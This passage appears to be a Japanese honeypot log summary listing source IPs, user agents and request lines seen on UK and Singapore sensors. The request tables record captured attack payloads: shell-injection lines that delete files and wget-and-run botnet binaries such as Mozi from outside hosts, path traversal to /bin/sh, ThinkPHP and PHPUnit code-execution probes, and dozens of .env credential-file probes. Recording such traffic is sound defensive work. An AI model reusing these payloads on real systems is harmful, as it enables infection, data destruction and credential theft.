14	GET	`http[:]//34[.]68[.]118[.]83:80/phpmyadmin/scripts/setup.php`	HTTP/1.0
1	HEAD	`/`	HTTP/1.0
1	OPTIONS	`/`	HTTP/1.0
1	POST	`/HNAP1/`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
2	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
4	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.127.108.142	United States
1	23.95.100.141	United States
1	23.225.163.205	United States
2	34.135.254.89	United States
9	45.146.165.37	Russia
1	45.169.31.129	Brazil
1	60.190.214.68	China
1	62.233.50.179	Russia
4	71.6.135.131	United States
4	80.82.77.33	United Kingdom
1	84.201.241.141	Russia
6	89.248.165.52	United Kingdom
1	107.189.30.11	United States
1	115.31.138.110	Thailand
1	118.222.204.192	South Korea
2	157.245.70.127	United States
1	163.125.30.16	China
1	167.94.145.60	United States
1	173.249.53.50	Germany
1	182.119.188.203	China
1	185.220.100.254	Germany
1	192.241.206.49	United States
1	192.241.208.64	United States
1	192.241.213.213	United States
3	205.185.127.43	United States
1	209.17.97.98	United States
2	209.141.35.105	United States
1	209.141.52.239	United States
1	209.141.61.19	United States
1	209.141.62.127	United States

UserAgent一覧

件数	UserAgent
33	`-`
3	`Hello, world`
2	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
1	`Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0`
9	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
3	`Mozilla/5.0 zgrab/0.x`

リクエスト内容一覧

件数	Method	Request	Protocol
4		`-`
1		`\x03`
3		`\x16\x03\x01`
1	CONNECT	`85[.]206[.]160[.]115:80`	HTTP/1.1
1	CONNECT	`hotmail-com.olc[.]protection[.]outlook[.]com:25`	HTTP/1.1
1	GET	`/.env`	HTTP/1.1
2	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/_ignition/execute-solution`	HTTP/1.1
1	GET	`/ab2g`	HTTP/1.1
1	GET	`/ab2h`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
3	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/hudson`	HTTP/1.1
1	GET	`/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21`	HTTP/1.1
1	GET	`/onebets-ecp/api/v1/floatingads?lang=zh-TW`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
2	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ http[:]//54[.]151[.]27[.]172/.s4y/arm;sh+/tmp/arm`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+0[.]0[.]0[.]0/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//163[.]125[.]30[.]16:48621/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+net[.]joostjansen[.]ml/jaws;sh+/tmp/jaws`	HTTP/1.1
2	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
8	GET	`http[:]//132[.]145[.]66[.]34:80/phpmyadmin/scripts/setup.php`	HTTP/1.0
1	HEAD	`/`	HTTP/1.0
1	OPTIONS	`/`	HTTP/1.0
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	PRI	`*`	HTTP/2.0
1	t3	`12.2.1\n`

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.55.53.144	United States
1	23.95.100.141	United States
4	23.224.186.204	United States
2	34.138.148.138	United States
1	38.7.81.203	United States
1	40.76.59.139	United States
7	45.146.165.37	Russia
8	47.253.100.115	United States
1	51.12.240.105	United Kingdom
2	51.79.29.48	Canada
40	54.197.110.58	United States
1	62.233.50.179	Russia
6	89.248.165.52	United Kingdom
1	92.255.85.234	Hong Kong
1	104.244.77.146	United States
1	115.31.138.110	Thailand
1	120.85.119.196	China
2	157.230.216.203	United States
1	162.142.125.210	United States
1	162.142.125.219	United States
1	167.94.138.44	United States
1	167.248.133.45	United States
1	172.105.89.161	United States
4	173.249.53.50	Germany
1	185.245.62.225	Germany
1	192.241.203.180	United States
1	205.185.125.167	United States
1	209.17.96.42	United States
1	209.141.52.239	United States
2	209.141.61.19	United States
1	209.141.61.40	United States
1	223.166.225.113	China

UserAgent一覧

件数	UserAgent
32	`-`
3	`Go-http-client/1.1`
1	`Java/1.8.0_321`
3	`Mozila/5.0`
1	`Mozilla/5.0 (Linux; Android 6.0; LG-X240 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36`
7	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 Edg/93.0.961.44`
40	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0`
2	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0`
4	`Mozilla/5.0 (compatible;)`
1	`Mozilla/5.0 zgrab/0.x`
2	`curl/7.75.0`

リクエスト内容一覧

件数	Method	Request	Protocol
4		`-`
1		`\x03`
4		`\x16\x03\x01\x02`
3		`\x16\x03\x01`
1	CONNECT	`85[.]206[.]160[.]115:80`	HTTP/1.1
1	CONNECT	`hotmail-com.olc[.]protection[.]outlook[.]com:25`	HTTP/1.1
1	CONNECT	`tivify[.]tv:443`	HTTP/1.1
2	GET	`/.env`	HTTP/1.1
1	GET	`/0bef`	HTTP/1.0
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php>`	HTTP/1.1
1	GET	`/HNAP1`	HTTP/1.1
1	GET	`/ab2g`	HTTP/1.1
1	GET	`/ab2h`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin/.env`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/application/.env`	HTTP/1.1
1	GET	`/apps/.env`	HTTP/1.1
1	GET	`/auth/.env`	HTTP/1.1
1	GET	`/back/.env`	HTTP/1.1
1	GET	`/backend/.env`	HTTP/1.1
1	GET	`/cli/.env`	HTTP/1.1
1	GET	`/config/.env`	HTTP/1.1
1	GET	`/config/getuser?index=0`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/cp/.env`	HTTP/1.1
1	GET	`/dependencies/.env`	HTTP/1.1
1	GET	`/deployment/.env`	HTTP/1.1
1	GET	`/dev/.env`	HTTP/1.1
1	GET	`/development/.env`	HTTP/1.1
1	GET	`/docker/.env`	HTTP/1.1
1	GET	`/document/.env`	HTTP/1.1
1	GET	`/engine/.env`	HTTP/1.1
1	GET	`/evox/about`	HTTP/1.1
2	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/framework/.env`	HTTP/1.1
1	GET	`/frontend/.env`	HTTP/1.1
1	GET	`/laravel-artisa/.env`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/local/.env`	HTTP/1.1
1	GET	`/login/.env`	HTTP/1.1
1	GET	`/master/.env`	HTTP/1.1
1	GET	`/onebets-ecp/api/v1/floatingads?lang=zh-TW`	HTTP/1.1
1	GET	`/personal/.env`	HTTP/1.1
1	GET	`/private/.env`	HTTP/1.1
1	GET	`/project/.env`	HTTP/1.1
1	GET	`/protected/.env`	HTTP/1.1
1	GET	`/rest/.env`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
1	GET	`/search/.env`	HTTP/1.1
1	GET	`/server/.env`	HTTP/1.1
1	GET	`/shared/.env`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ http[:]//23[.]94[.]7[.]175/.s4y/arm;sh+/tmp/arm`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ http[:]//54[.]151[.]27[.]172/.s4y/arm;sh+/tmp/arm`
1	GET	`/site/.env`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/solr/admin/info/system?wt=json`	HTTP/1.1
1	GET	`/src/.env`	HTTP/1.1
1	GET	`/system/.env`	HTTP/1.1
1	GET	`/text4041645477818`	HTTP/1.1
1	GET	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
1	GET	`/vod_installer/.env`	HTTP/1.1
1	GET	`/vue/.env`	HTTP/1.1
1	GET	`/web/.env`	HTTP/1.1
5	GET	`http[:]//13[.]67[.]44[.]234:80/phpmyadmin/scripts/setup.php`	HTTP/1.0
1	HEAD	`/`	HTTP/1.0
1	OPTIONS	`/`	HTTP/1.0
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
3	POST	`/HNAP1/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cgi-bin/index2.asp`	HTTP/1.1
1	POST	`/sdk`	HTTP/1.1
1	POST	`/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php`	HTTP/1.1
4	PRI	`*`	HTTP/2.0
1	t3	`12.2.1`